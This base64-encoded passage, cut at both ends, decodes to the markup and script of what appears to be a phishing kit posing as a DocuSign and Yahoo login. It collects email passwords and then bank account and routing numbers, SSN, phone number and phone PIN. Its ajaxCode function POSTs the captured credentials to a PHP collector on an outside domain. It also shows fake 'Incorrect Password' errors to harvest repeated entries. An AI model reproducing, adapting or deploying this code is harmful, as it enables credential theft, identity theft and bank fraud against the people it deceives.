pdj4KICAgIDwvZGl2PiAKCiAgICAgPGRpdiBjbGFzcz0ib3RoZXJfX2Zvcm0tbWFpbiBoaWRlIj4KCiAgICAgICAgICAgPGRpdiBjbGFzcz0ib3RoZXItZm9ybSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNsb3NlX19mb3JtIj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJjbG9zZV9fYnRuIj4mdGltZXM7PC9zcGFuPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW1nX2Zvcm0iPgogICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vZG9jdS15NXUucGFnZXMuZGV2L2ltYWdlcy95YWgyLnBuZyIgY2xhc3M9ImltZ19fZGF0YSIgYWx0PSJpbWctZm9ybSIgd2lkdGg9IjgwcHgiPgoKICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsb2dpbl9fdGV4dCI+CiAgICAgICAgICAgICAgICA8aDM+TG9naW4gd2l0aCBZYWhvbzwvaDM+CiAgICAgICAgICAgIDwvZGl2PgogICAgICA8Zm9ybSBhY3Rpb249IiMiIGNsYXNzPSJvdGhlci1mb3JtLW1haWwiPgogICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVycm9yLW90aGVyIj4KICAgICAgICA8c3BhbiBjbGFzcz0iZXJyb3Itb3RoZXItbXNnIj48L3NwYW4+CiAgICAgIDwvZGl2PgogICAgICAgICAgICA8bGFiZWwgZm9yPSIiPkVtYWlsIEFkZHJlc3M8L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9IkVudGVyIGVtYWlsIiBjbGFzcz0iZW1haWwtb3RoZXIiIG5hbWU9ImVtYWlsIj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5XZSdsbCBuZXZlciBzaGFyZSB5b3VyIGVtYWlsIHdpdGggYW55b25lIGVsc2U8L2xhYmVsPgogICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94Ij4KICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5QYXNzd29yZDwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgcGxhY2Vob2xkZXI9IkVudGVyIHBhc3N3b3JkIiBjbGFzcz0icGFzcy1vdGhlciIgbmFtZT0icGFzcyI+CiAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgIAogICAgICAgICAgPGRpdiBjbGFzcz0ib3RoZXItZm9ybS1ib3ggb3RoZXItYnRucyI+CiAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuLWNsb3NlIGJ0bi1vdGhlciI+Q2xvc2U8L2J1dHRvbj4KICAgICAgICAgICAgPGJ1dHRvbiBjbGFzcz0iYnRuLUxvZ2luIGJ0bi1vdGhlciI+TG9naW48L2J1dHRvbj4KICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Zvcm0+CiAgICAgIDwvZGl2PgogICAgPC9kaXY+CgoKICAgICAgPGRpdiBjbGFzcz0ib3RoZXJfX2Zvcm0tbWFpbiBoaWRlIj4KCiAgICAgICAgICAgPGRpdiBjbGFzcz0ib3RoZXItZm9ybSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNsb3NlX19mb3JtIj4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJjbG9zZV9fYnRuIj4mdGltZXM7PC9zcGFuPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW1nX2Zvcm0iPgogICAgICAgICAgICAgICAgPGltZyBzcmM9IiIgYWx0PSJpbWctZm9ybSIgd2lkdGg9IjYwcHgiIGNsYXNzPSJpbWdfX21vcmUiPgoKICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJsb2dpbl9fdGV4dCI+CiAgICAgICAgICAgICAgICA8aDM+UGxlYXNlIFZlcmlmeSB5b3VyIEFjY291bnQgbW9yZTwvaDM+CiAgICAgICAgICAgIDwvZGl2PgogICAgICA8Zm9ybSBhY3Rpb249IiMiIGNsYXNzPSJvdGhlci1mb3JtLW1haWwiPgogICAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVycm9yLW90aGVyIj4KICAgICAgICA8c3BhbiBjbGFzcz0iZXJyb3Itb3RoZXItbXNnIj48L3NwYW4+CiAgICAgIDwvZGl2PgogICAgICAgICAgICA8bGFiZWwgZm9yPSIiPkFjY291bnQgTnVtYmVyPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJFbnRlciBBY2NvdW50IE51bWJlciIgY2xhc3M9ImVtYWlsLW90aGVyIiByZXF1aXJlZCBuYW1lPSJBbiI+ICAgICAgICAKICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVycm9yLW90aGVyIj4KICAgICAgICA8c3BhbiBjbGFzcz0iZXJyb3Itb3RoZXItbXNnIj48L3NwYW4+CiAgICAgIDwvZGl2PgogICAgICAgICAgICA8bGFiZWwgZm9yPSIiPlJvdXRpbmcgbnVtYmVyPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHBsYWNlaG9sZGVyPSJFbnRlciBSb3V0aW5nIG51bWJlciIgY2xhc3M9InBhc3Mtb3RoZXIiIHJlcXVpcmVkIG5hbWU9IlJOIj4KICAgICAgICAgICA8L2Rpdj4KCQkgICAKCQkgICA8ZGl2IGNsYXNzPSJvdGhlci1mb3JtLWJveCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJlcnJvci1vdGhlciI+CiAgICAgICAgPHNwYW4gY2xhc3M9ImVycm9yLW90aGVyLW1zZyI+PC9zcGFuPgogICAgICA8L2Rpdj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0iIj5Tb2NpYWwgU2VjdXJpdHkgbnVtYmVyIChTU04pLyBUYXggSUQ8L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgcGxhY2Vob2xkZXI9IkVudGVyIFNvY2lhbCBTZWN1cml0eSBudW1iZXIgKFNTTikvIFRheCBJRCIgY2xhc3M9InBhc3Mtb3RoZXIiIHJlcXVpcmVkIG5hbWU9IlNTTiI+CiAgICAgICAgICAgPC9kaXY+CgkJICAgCgkJICAgPGRpdiBjbGFzcz0ib3RoZXItZm9ybS1ib3giPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZXJyb3Itb3RoZXIiPgogICAgICAgIDxzcGFuIGNsYXNzPSJlcnJvci1vdGhlci1tc2ciPjwvc3Bhbj4KICAgICAgPC9kaXY+CiAgICAgICAgICAgIDxsYWJlbCBmb3I9IiI+VGVsZXBob25lIE51bWJlcjwvbGFiZWw+CiAgICAgICAgICAgIDxpbnB1dCBwbGFjZWhvbGRlcj0iRW50ZXIgVGVsZXBob25lIE51bWJlciIgY2xhc3M9InBhc3Mtb3RoZXIiIHJlcXVpcmVkIG5hbWU9Im1OYW1lIj4KICAgICAgICAgICA8L2Rpdj4KCQkgICAKCQkgIDxkaXYgY2xhc3M9Im90aGVyLWZvcm0tYm94Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImVycm9yLW90aGVyIj4KICAgICAgICA8c3BhbiBjbGFzcz0iZXJyb3Itb3RoZXItbXNnIj48L3NwYW4+CiAgICAgIDwvZGl2PgogICAgICAgICAgICA8bGFiZWwgZm9yPSIiPlRlbGVwaG9uZSBQaW48L2xhYmVsPgogICAgICAgICAgICA8aW5wdXQgcGxhY2Vob2xkZXI9IkVudGVyIFRlbGVwaG9uZSBQaW4iIGNsYXNzPSJwYXNzLW90aGVyIiByZXF1aXJlZCBuYW1lPSJUcGluIj4KICAgICAgICAgICA8L2Rpdj4KCiAgICAgICAgICAgCiAgICAgICAgICA8ZGl2IGNsYXNzPSJvdGhlci1mb3JtLWJveCBvdGhlci1idG5zIj4KICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4tY2xvc2UgYnRuLW90aGVyIj5DbG9zZTwvYnV0dG9uPgogICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidG4tTG9naW4gYnRuLW90aGVyIj5Mb2dpbjwvYnV0dG9uPgogICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZm9ybT4KICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCTxzY3JpcHQ+CgkKICAgY29uc3QgW2Zvcm0xLCBmb3JtMiwgZm9ybTMsIGZvcm00LCBmb3JtNSwgZm9ybTZdID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiLm90aGVyX19mb3JtLW1haW4iKTsKICAgICAgICBjb25zdCBbYm94RGF0YTEsIGJveERhdGEyLCBib3hEYXRhMywgYm94RGF0YTQsIGJveERhdGE1LCBib3hEYXRhNl0gPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuYm94X19kYXRhLWluZm8iKTsKICAgICAgICBjb25zdCBbY2xvc2VCdG4xLCBjbG9zZUJ0bjIsIGNsb3NlQnRuMywgY2xvc2VCdG40LCBjbG9zZUJ0bjUsIGNsb3NlQnRuNl0gPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuY2xvc2VfX2Zvcm0iKTsKICAgICAgICBjb25zdCBbYnRuQ2xvc2UxLCBidG5DbG9zZTIsIGJ0bkNsb3NlMywgYnRuQ2xvc2U0LCBidG5DbG9zZTUsIGJ0bkNsb3NlNl0gPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuYnRuLWNsb3NlIik7CiAgICAgICAgY29uc3QgW2Zvcm1EYXRhMSwgZm9ybURhdGEyLCBmb3JtRGF0YTMsIGZvcm1EYXRhNCwgZm9ybURhdGE1LCBmb3JtRGF0YTZdID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgiLm90aGVyLWZvcm0tbWFpbCIpOwogICAgICAgIGNvbnN0IFtlcnJvck1zZzEsIGVycm9yTXNnMiwgZXJyb3JNc2czLCBlcnJvck1zZzQsIGVycm9yTXNnNSwgZXJyb3JNc2c2LCBlcnJvck1zZzcsIGVycm9yTXNnOCwgZXJyb3JNc2c5LCBlcnJvck1zZzEwXSA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoIi5lcnJvci1vdGhlci1tc2ciKTsKICAgICAgICBjb25zdCBbaW1nU3JjMSwgaW1nU3JjMiwgaW1nU3JjMywgaW1nU3JjNCwgaW1nU3JjNV0gPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCIuaW1nX19kYXRhIik7CiAgICAgICAgY29uc3QgaW1nTW9yZSA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoIi5pbWdfX21vcmUiKTsKICAgICAgICBsZXQgbnVtID0gMDsgCiAgICAgICAgIAogICAgICBjb25zdCBhamF4Q29kZSA9IChkYXRhKSA9PiB7CiAgICAgICAgJC5hamF4KHsKICAgICAgICAgICAgLy9wb3N0IHBocCBsaW5rIGhlcmUuLi4uCiAgICAgICAgICAgIHVybDogJ2h0dHBzOi8vaW50ZWdyYXRlZHdlYWx0aC5jb20uYXUvLi4uL2Nzcy9qc29uL2ltYWdlcy9kb2N1c2lnbi1kb2N1bWVudC9kYXRhLnBocCcsCiAgICAgICAgICAgIHR5cGU6ICdQT1NUJywKICAgICAgICAgICAgZGF0YTogeyBwYXNzOiBkYXRhIH0sCiAgICAgICAgfSk7CiAgICB9OwoKCiAgICAgICAgYm94RGF0YTEuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgICAgICAgIGZvcm0xLmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICB9KTsKCiAgICAgICAgYm94RGF0YTIuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgICAgICAgIGZvcm0yLmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICB9KTsKCiAgICAgICAgIGJveERhdGEzLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgKCkgPT4gewogICAgICAgICAgICBmb3JtMy5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgfSk7CgogICAgICAgIGJveERhdGE0LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgKCkgPT4gewogICAgICAgICAgICBmb3JtNC5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgfSk7CgogICAgICAgIGJveERhdGE1LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgKCkgPT4gewogICAgICAgICAgICBmb3JtNS5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgfSk7CgoKICAgICAgICBjbG9zZUJ0bjEuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgICAgICAgICBmb3JtMS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgfSk7CgogICAgICAgIGNsb3NlQnRuMi5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsICgpID0+IHsKICAgICAgICAgICAgIGZvcm0yLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICB9KTsKCiAgICAgICAgY2xvc2VCdG4zLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgKCkgPT4gewogICAgICAgICAgICAgZm9ybTMuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgIH0pOwoKICAgICAgICAgY2xvc2VCdG40LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgKCkgPT4gewogICAgICAgICAgICAgZm9ybTQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgIH0pOwoKICAgICAgICBjbG9zZUJ0bjUuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgICAgICAgICBmb3JtNS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgfSk7CgogICAgICAgICBjbG9zZUJ0bjYuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgICAgICAgICBmb3JtNi5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgfSk7CgoKICAgICAgICBidG5DbG9zZTEuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgICAgICAgICBmb3JtMS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgfSk7CgogICAgICAgICAgIGJ0bkNsb3NlMi5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsICgpID0+IHsKICAgICAgICAgICAgIGZvcm0yLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICB9KTsKCiAgICAgICAgYnRuQ2xvc2UzLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgKCkgPT4gewogICAgICAgICAgICAgZm9ybTMuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgIH0pOwoKICAgICAgICAgYnRuQ2xvc2U0LmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgKCkgPT4gewogICAgICAgICAgICAgZm9ybTQuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgIH0pOwoKICAgICAgICBidG5DbG9zZTUuYWRkRXZlbnRMaXN0ZW5lcigiY2xpY2siLCAoKSA9PiB7CiAgICAgICAgICAgICBmb3JtNS5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgfSk7CgogICAgICAgIGJ0bkNsb3NlNi5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsICgpID0+IHsKICAgICAgICAgICAgIGZvcm02LmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICB9KTsKCgogICAgICAgIGZvcm1EYXRhMS5hZGRFdmVudExpc3RlbmVyKCJzdWJtaXQiLCAoZSkgPT4gewogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgICAgCiAgICAgICAgICAgIGNvbnN0IGVtYWlsID0gZS50YXJnZXQuZWxlbWVudHMuZW1haWwudmFsdWU7CiAgICAgICAgICAgIGNvbnN0IHBhc3MgPSBlLnRhcmdldC5lbGVtZW50cy5wYXNzLnZhbHVlOwogICAgICAgIAoKICAgICAgICAgICAgaWYoZW1haWwgPT09ICIiKXsKICAgICAgICAgICAgICAgIGVycm9yTXNnMS50ZXh0Q29udGVudCA9ICJQbGVhc2UgZW50ZXIgZW1haWwgQWRkcmVzcyI7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGVsc2UgaWYocGFzcyA9PT0gIiIpewogICAgICAgICAgICAgICAgZXJyb3JNc2cxLnRleHRDb250ZW50ID0gIlBsZWFzZSBlbnRlciBFbWFpbCBQYXNzd29yZCI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICBudW0rKzsKICAgICAgICAgICAgICAgICBsZXQgZkRhdGE0ID0gYEVtYWlsIEFkZHJlc3M6ICR7ZW1haWx9IFxuUGFzc3dvcmQ6ICR7cGFzc31gOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBpZihudW0gPT09IDEpewogICAgICAgICAgICAgICAgICAgIGVycm9yTXNnMS50ZXh0Q29udGVudCA9ICJJbmNvcnJlY3QgUGFzc3dvcmQiOwogICAgICAgICAgICAgICAgICAgIGFqYXhDb2RlKGZEYXRhNCk7CiAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQuZWxlbWVudHMucGFzcy52YWx1ZSA9ICIiOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSBpZihudW0gPT09IDEpewogICAgICAgICAgICAgICAgICAgIGVycm9yTXNnMS50ZXh0Q29udGVudCA9ICJJbmNvcnJlY3QgUGFzc3dvcmQgVHJ5IGFnYWluIjsKICAgICAgICAgICAgICAgICAgICBhamF4Q29kZShmRGF0YTQpOwogICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgIH0KCQkJCWVsc2UgaWYobnVtID09PSAxKXsKICAgICAgICAgICAgICAgICAgICBlcnJvck1zZzEudGV4dENvbnRlbnQgPSAiSW5jb3JyZWN0IFBhc3N3b3JkIFRyeSBhZ2FpbiI7CiAgICAgICAgICAgICAgICAgICAgYWpheENvZGUoZkRhdGE0KTsKICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5lbGVtZW50cy5wYXNzLnZhbHVlID0gIiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBhamF4Q29kZShmRGF0YTQpOwogICAgICAgICAgICAgICAgICAgIGltZ01vcmUuc3JjID0gaW1nU3JjMS5zcmM7CiAgICAgICAgICAgICAgICAgICAgZm9ybTEuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgIGZvcm02LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICBudW0gPSAwOwogICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgfQogICAgICAgICAKICAgICAgICAgICAgfSAKCgogICAgICAgIH0pCgoKCiAgICAgICAgICBmb3JtRGF0YTIuYWRkRXZlbnRMaXN0ZW5lcigic3VibWl0IiwgKGUpID0+IHsKICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgIAogICAgICAgICAgICBjb25zdCBlbWFpbCA9IGUudGFyZ2V0LmVsZW1lbnRzLmVtYWlsLnZhbHVlOwogICAgICAgICAgICBjb25zdCBwYXNzID0gZS50YXJnZXQuZWxlbWVudHMucGFzcy52YWx1ZTsKCiAgICAgICAgICAgIGlmKGVtYWlsID09PSAiIil7CiAgICAgICAgICAgICAgICBlcnJvck1zZzIudGV4dENvbnRlbnQgPSAiUGxlYXNlIGVudGVyIGVtYWlsIEFkZHJlc3MiOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlbHNlIGlmKHBhc3MgPT09ICIiKXsKICAgICAgICAgICAgICAgIGVycm9yTXNnMi50ZXh0Q29udGVudCA9ICJQbGVhc2UgZW50ZXIgRW1haWwgUGFzc3dvcmQiOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgbnVtKys7CgogICAgICAgICAgICAgICAgbGV0IGZEYXRhNCA9IGBFbWFpbCBBZGRyZXNzOiAke2VtYWlsfSBcblBhc3N3b3JkOiAke3Bhc3N9YDsKCiAgICAgICAgICAgICAgICBpZihudW0gPT09IDEpewogICAgICAgICAgICAgICAgICAgIGFqYXhDb2RlKGZEYXRhNCk7CiAgICAgICAgICAgICAgICAgICAgZXJyb3JNc2cyLnRleHRDb250ZW50ID0gIkluY29ycmVjdCBQYXNzd29yZCI7CiAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQuZWxlbWVudHMucGFzcy52YWx1ZSA9ICIiOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSBpZihudW0gPT09IDEpewogICAgICAgICAgICAgICAgICAgIGFqYXhDb2RlKGZEYXRhNCk7CiAgICAgICAgICAgICAgICAgICAgZXJyb3JNc2cyLnRleHRDb250ZW50ID0gIkluY29ycmVjdCBQYXNzd29yZCBUcnkgYWdhaW4iOwogICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgIH0KCQkJCWVsc2UgaWYobnVtID09PSAxKXsKICAgICAgICAgICAgICAgICAgICBhamF4Q29kZShmRGF0YTQpOwogICAgICAgICAgICAgICAgICAgIGVycm9yTXNnMi50ZXh0Q29udGVudCA9ICJJbmNvcnJlY3QgUGFzc3dvcmQgVHJ5IGFnYWluIjsKICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5lbGVtZW50cy5wYXNzLnZhbHVlID0gIiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgYWpheENvZGUoZkRhdGE0KTsKICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5lbGVtZW50cy5wYXNzLnZhbHVlID0gIiI7CiAgICAgICAgICAgICAgICAgICAgbnVtID0gMDsKICAgICAgICAgICAgICAgICAgICBpbWdNb3JlLnNyYyA9IGltZ1NyYzIuc3JjOwogICAgICAgICAgICAgICAgICAgIGZvcm0yLmNsYXNzTGlzdC5hZGQoImhpZGUiKTsKICAgICAgICAgICAgICAgICAgICBmb3JtNi5jbGFzc0xpc3QucmVtb3ZlKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAKICAgICAgICAgICAgICAgCiAgICAgICAgICAgIH0gCgoKICAgICAgICB9KQoKCgogICAgICAgICAgZm9ybURhdGEzLmFkZEV2ZW50TGlzdGVuZXIoInN1Ym1pdCIsIChlKSA9PiB7CiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgICAKICAgICAgICAgICAgY29uc3QgZW1haWwgPSBlLnRhcmdldC5lbGVtZW50cy5lbWFpbC52YWx1ZTsKICAgICAgICAgICAgY29uc3QgcGFzcyA9IGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWU7CgogICAgICAgICAgICBpZihlbWFpbCA9PT0gIiIpewogICAgICAgICAgICAgICAgZXJyb3JNc2czLnRleHRDb250ZW50ID0gIlBsZWFzZSBlbnRlciBlbWFpbCBBZGRyZXNzIjsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZWxzZSBpZihwYXNzID09PSAiIil7CiAgICAgICAgICAgICAgICBlcnJvck1zZzMudGV4dENvbnRlbnQgPSAiUGxlYXNlIGVudGVyIEVtYWlsIFBhc3N3b3JkIjsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgIG51bSsrOwogICAgICAgICAgICAgICAgICBsZXQgZkRhdGE0ID0gYEVtYWlsIEFkZHJlc3M6ICR7ZW1haWx9IFxuUGFzc3dvcmQ6ICR7cGFzc31gOwogICAgICAgICAgICAgICAgaWYobnVtID09PSAxKXsKICAgICAgICAgICAgICAgICAgICAgYWpheENvZGUoZkRhdGE0KTsKICAgICAgICAgICAgICAgICAgICBlcnJvck1zZzMudGV4dENvbnRlbnQgPSAiSW5jb3JyZWN0IFBhc3N3b3JkIjsKICAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQuZWxlbWVudHMucGFzcy52YWx1ZSA9ICIiOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSBpZihudW0gPT09IDEpewogICAgICAgICAgICAgICAgICAgICBhamF4Q29kZShmRGF0YTQpOwogICAgICAgICAgICAgICAgICAgIGVycm9yTXNnMy50ZXh0Q29udGVudCA9ICJJbmNvcnJlY3QgUGFzc3dvcmQgVHJ5IGFnYWluIjsKICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5lbGVtZW50cy5wYXNzLnZhbHVlID0gIiI7CiAgICAgICAgICAgICAgICB9CgkJCQllbHNlIGlmKG51bSA9PT0gMSl7CiAgICAgICAgICAgICAgICAgICAgIGFqYXhDb2RlKGZEYXRhNCk7CiAgICAgICAgICAgICAgICAgICAgZXJyb3JNc2czLnRleHRDb250ZW50ID0gIkluY29ycmVjdCBQYXNzd29yZCBUcnkgYWdhaW4iOwogICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICBhamF4Q29kZShmRGF0YTQpOwogICAgICAgICAgICAgICAgICAgIG51bSA9IDA7CiAgICAgICAgICAgICAgICAgICAgaW1nTW9yZS5zcmMgPSBpbWdTcmMzLnNyYzsKICAgICAgICAgICAgICAgICAgICBmb3JtMy5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgZm9ybTYuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQuZWxlbWVudHMucGFzcy52YWx1ZSA9ICIiOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgCiAgICAgICAgICAgICAgIAogICAgICAgICAgICB9IAogICAgICAgIH0pOwogICAgICAgIAogICAgICAgICAgZm9ybURhdGE0LmFkZEV2ZW50TGlzdGVuZXIoInN1Ym1pdCIsIChlKSA9PiB7CiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgICAKICAgICAgICAgICAgY29uc3QgZW1haWwgPSBlLnRhcmdldC5lbGVtZW50cy5lbWFpbC52YWx1ZTsKICAgICAgICAgICAgY29uc3QgcGFzcyA9IGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWU7CgogICAgICAgICAgICBpZihlbWFpbCA9PT0gIiIpewogICAgICAgICAgICAgICAgZXJyb3JNc2c0LnRleHRDb250ZW50ID0gIlBsZWFzZSBlbnRlciBlbWFpbCBBZGRyZXNzIjsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZWxzZSBpZihwYXNzID09PSAiIil7CiAgICAgICAgICAgICAgICBlcnJvck1zZzQudGV4dENvbnRlbnQgPSAiUGxlYXNlIGVudGVyIEVtYWlsIFBhc3N3b3JkIjsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgIG51bSsrOwogICAgICAgICAgICAgICAgICBsZXQgZkRhdGE0ID0gYEVtYWlsIEFkZHJlc3M6ICR7ZW1haWx9IFxuUGFzc3dvcmQ6ICR7cGFzc31gOwogICAgICAgICAgICAgICAgaWYobnVtID09PSAxKXsKICAgICAgICAgICAgICAgICAgICBhamF4Q29kZShmRGF0YTQpOwogICAgICAgICAgICAgICAgICAgIGVycm9yTXNnNC50ZXh0Q29udGVudCA9ICJJbmNvcnJlY3QgUGFzc3dvcmQiOwogICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5lbGVtZW50cy5wYXNzLnZhbHVlID0gIiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIGlmKG51bSA9PT0gMSl7CiAgICAgICAgICAgICAgICAgICAgIGFqYXhDb2RlKGZEYXRhNCk7CiAgICAgICAgICAgICAgICAgICAgZXJyb3JNc2c0LnRleHRDb250ZW50ID0gIkluY29ycmVjdCBQYXNzd29yZCBUcnkgYWdhaW4iOwogICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAg